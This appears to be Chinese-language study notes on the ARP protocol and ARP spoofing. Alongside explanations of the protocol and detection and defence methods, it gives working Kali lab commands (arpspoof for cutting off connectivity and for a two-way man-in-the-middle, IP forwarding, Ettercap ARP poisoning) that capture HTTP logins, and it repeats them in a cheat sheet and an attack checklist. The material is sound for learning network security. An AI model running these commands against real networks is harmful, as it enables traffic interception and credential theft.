ARP 协议与 ARP 欺骗

1.1 OSI 七层模型#

1.2 TCP/IP 四层模型#

2.1 什么是 MAC 地址？#

2.2 MAC 地址的作用#

• 在数据链路层唯一标识网络设备
• 用于同一链路（局域网）内的设备通信
• 交换机依据 MAC 地址转发数据帧

3.1 什么是 ARP？#

ARP（Address Resolution Protocol，地址解析协议）的功能是将 IP 地址转换成 MAC 地址。

3.2 为什么需要 ARP？#

• 网络层使用 IP 地址 标识主机
• 数据链路层使用 MAC 地址 传输数据帧
• 需要一种机制将 IP 地址映射到 MAC 地址 → ARP 协议

3.3 正常 ARP 工作流程#

假设：主机 A（192.168.1.2）想与主机 B（192.168.1.3）通信。

1
步骤 1：主机 A 检查本地 ARP 缓存表
2
        ↓ 没有主机 B 的 MAC 地址
3
步骤 2：主机 A 发送 ARP 请求包（广播）
4
        问："谁的 IP 是 192.168.1.3？请告诉我你的 MAC 地址"
5
        ↓ 同一链路所有主机都收到
6
步骤 3：主机 B 检查目标 IP 是自己的
7
        主机 B 发送 ARP 响应包（单播）
8
        答："我是 192.168.1.3，我的 MAC 是 00-11-22-33-44-55"
9
        ↓
10
步骤 4：主机 A 收到响应，更新 ARP 缓存表
11
        开始通信

3.4 ARP 缓存表#

为了减少 ARP 查询产生的网络流量，主机将 ARP 映射结果缓存在本地。

ARP 缓存有生存周期，超时后会重新查询。

4.1 核心缺陷#

ARP 协议无身份验证机制：主机收到 ARP 响应包后，无条件信任并更新缓存表。

4.2 攻击场景#

网络中有 A、B、C 三台主机，A 与 B 正常通信，主机 C（攻击者） 实施 ARP 欺骗。

1
步骤 1：主机 C 给主机 A 发送 ARP 响应包
2
        伪造："主机 B 的 IP 对应主机 C 的 MAC"
3
        ↓
4
步骤 2：主机 A 收到后，更新 ARP 缓存表
5
        将主机 B 的 IP 映射到主机 C 的 MAC
6
        ↓
7
步骤 3：主机 A 发往主机 B 的数据包，实际发给了主机 C
8
        ↓
9
步骤 4：主机 C 可以选择：
10
        ├── 不转发 → 主机 A 和 B 通信中断（断网攻击）
11
        └── 转发数据包 → 中间人攻击（窃听通信内容）

4.3 攻击本质#

假冒”我是谁” 攻击者 MAC 地址 = 我（攻击者） 被冒充者 IP 地址 = 谁（目标 IP）

6.1 实验环境#

6.2 工具#

• arpspoof：Kali 内置，用于发送 ARP 欺骗包
• Wireshark：抓包分析
• ettercap：中间人攻击 + 敏感数据窃取

6.3 攻击1：断网攻击#

1
# 语法：arpspoof -i 网卡 -t 目标IP 网关IP
2

3
# 告诉目标主机：我是网关（让目标主机把流量发给攻击者）
4
sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1

效果： 受害主机无法上网（因为流量被引向攻击者，但攻击者未开启转发）。

停止： Ctrl + C 停止 arpspoof，受害机恢复网络。

6.4 攻击2：中间人攻击（MITM）#

1
# 让 Kali 能够转发接收到的数据包
2
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

1
# 让目标主机认为 Kali 是网关（正向欺骗）
2
sudo arpspoof -i eth0 -t 192.168.3.155 192.168.3.1

1
# 让网关认为 Kali 是目标主机（反向欺骗）
2
sudo arpspoof -i eth0 -t 192.168.3.1 192.168.3.155

1
请求方向：
2
  受害机（155）→ Kali（128）→ 网关（1）→ 互联网
3

4
响应方向：
5
  互联网 → 网关（1）→ Kali（128）→ 受害机（155）

1
# 启动 Wireshark，选择 eth0 网卡
2
# 在受害机上 ping Ubuntu 靶机（192.168.3.141）
3
# 在 Wireshark 中看到 ICMP 包 → 流量经过 Kali，验证成功

6.5 使用 Ettercap 窃取敏感数据#

1
# 启动 Ettercap（图形界面）
2
sudo ettercap -G

操作流程：

1. 选择网卡（eth0）
2. 扫描主机（Scan for hosts）
3. 添加目标（目标主机和网关）
4. 启用 ARP 欺骗（Mitm → ARP poisoning）
5. 开始嗅探（Start → Start sniffing）

效果： 受害机登录 HTTP 网站时，用户名/密码会被 Ettercap 捕获显示。

7.1 主机级被动检测#

当主机收到 ARP 响应包时，检查发送端 IP 地址是否与自己的 IP 地址相同。如果相同，说明局域网内有另一台主机冒充自己。

7.2 主机级主动检测#

主机定期向局域网发送查询自己 IP 地址的 ARP 请求。如果收到另一台主机的响应，说明存在 IP 冲突（ARP 欺骗）。

7.3 服务器级检测#

收到 ARP 响应后，使用 RARP（反向地址解析协议）从 MAC 地址反查 IP 地址，比较两个 IP 是否一致。

7.4 网络级检测#

主机定期向中心管理主机报告 ARP 缓存内容，中心主机检查：

• 不同主机报告信息是否一致
• 同一主机前后报告内容是否变化

7.5 常见防御措施#

7.6 Windows 静态绑定#

1
# 查看 ARP 缓存
2
arp -a
3

4
# 静态绑定 IP-MAC
5
arp -s 192.168.1.1 00-11-22-33-44-55
6

7
# 删除静态绑定
8
arp -d 192.168.1.1

协议分层速记#

1
OSI 七层（从下往上）：
2
  物理层 → 数据链路层 → 网络层 → 传输层 → 会话层 → 表示层 → 应用层
3

4
口诀：物数网传会表应

ARP 攻击命令#

1
# 断网攻击
2
sudo arpspoof -i eth0 -t 目标IP 网关IP
3

4
# 中间人攻击（双向欺骗）
5
sudo echo 1 > /proc/sys/net/ipv4/ip_forward          # 开启转发
6
sudo arpspoof -i eth0 -t 目标IP 网关IP               # 欺骗目标
7
sudo arpspoof -i eth0 -t 网关IP 目标IP               # 欺骗网关
8

9
# 查看 ARP 缓存（Windows/Linux）
10
arp -a
11

12
# 清除 ARP 缓存（需管理员）
13
arp -d
14

15
# 启动 Ettercap 图形界面
16
sudo ettercap -G

ARP 攻击流程#

1
1. 确定目标 IP 和网关 IP
2
2. 开启 IP 转发（中间人模式）
3
3. arpspoof 欺骗目标主机（我是网关）
4
4. arpspoof 欺骗网关（我是目标）
5
5. 用 Wireshark 或 Ettercap 抓取流量
6
6. 分析数据，提取敏感信息

防御要点#

1
✅ IP-MAC 静态绑定
2
✅ 交换机端口安全
3
✅ 使用 HTTPS 加密通信
4
✅ 启用 ARP 防护功能
5
✅ 定期监控 ARP 缓存变化